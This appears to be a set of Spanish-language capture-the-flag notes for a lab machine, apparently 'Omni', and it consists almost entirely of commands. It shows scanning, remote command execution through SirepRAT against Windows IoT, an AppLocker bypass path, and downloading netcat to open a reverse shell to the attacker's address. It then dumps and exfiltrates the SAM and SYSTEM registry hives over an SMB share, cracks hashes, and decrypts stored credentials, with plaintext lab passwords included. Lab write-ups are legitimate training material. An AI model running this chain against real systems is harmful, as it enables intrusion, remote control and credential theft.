nmap -A -p- -oA omni 10.129.2.27 --min-rate=10000 --script=vuln --script-timeout=15 -v

nmap -sC -sV -O -p- -oA omni 10.129.2.27

nmap -sU -O -p- -oA omni-udp 10.129.2.27

nikto -h 10.129.2.27:80

git clone https://github.com/SafeBreach-Labs/SirepRAT.git

python3 SirepRat.py 10.129.2.27 LaunchCommandWithOutput --cmd "C:\Windows\System32\cmd.exe" --args "/c ping 10.10.14.92"

tcpdump -i tun0 icmp -n

Bajamos netcat para windows

https://github.com/vinsworldcom/NetCat64/releases/

https://github.com/api0cradle/UltimateAppLockerByPassList

https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md

Escogemos esta ruta

C:\Windows\System32\spool\drivers\color

No funciono

python3 SirepRat.py 10.129.2.27 LaunchCommandWithOutput --cmd "powershell" --args "/c iwr -uri http://10.10.14.92/nc64.exe -OutFile C:\Windows\System32\spool\drivers\color\nc64.exe"

python3 -m http.server 80

python3 SirepRat.py 10.129.2.27 LaunchCommandWithOutput --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\Windows\System32\spool\drivers\color\nc64.exe -e cmd 10.10.14.92 443"

nc -lvnp 443

echo %USERNAME%

Para buscar el archivo usamos esto en windows

dir /r /s user.txt

powershell

(Import-CliXml -Path user.txt)

Para ver accesos de archivo

icacls user.txt

reg save HKLM\system system.backup

reg save HKLM\sam sam.backup

python3 /opt/impacket/examples/smbserver.py smbFolder $(pwd) -smb2support -username cu3rv0x -password password123

use x: \\10.10.14.92\smbFolder /user:cu3rv0x password123

copy sam.backup x:\sam

copy system.backup x:\system

python3 /opt/impacket/examples/secretesdump.py -sam sam -system system LOCAL

john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=NT

http://10.129.2.27:8080

credenciales: app:mesh5143

C:\Windows\System32\spool\drivers\color\nc64.exe -e cmd 10.10.14.92 443

nc -lvnp 443

powershell

(Import-CliXml -Path user.txt).GetNetworkCredential().password

(Import-CliXml -Path iot-admin.xml).GetNetworkCredential().password

http://10.129.2.27:8080

credenciales: administrator:_1nt3rn37ofTh1nGz

C:\Windows\System32\spool\drivers\color\nc64.exe -e cmd 10.10.14.92 443

nc -lvnp 443

(Import-CliXml -Path root.txt).GetNetworkCredential().password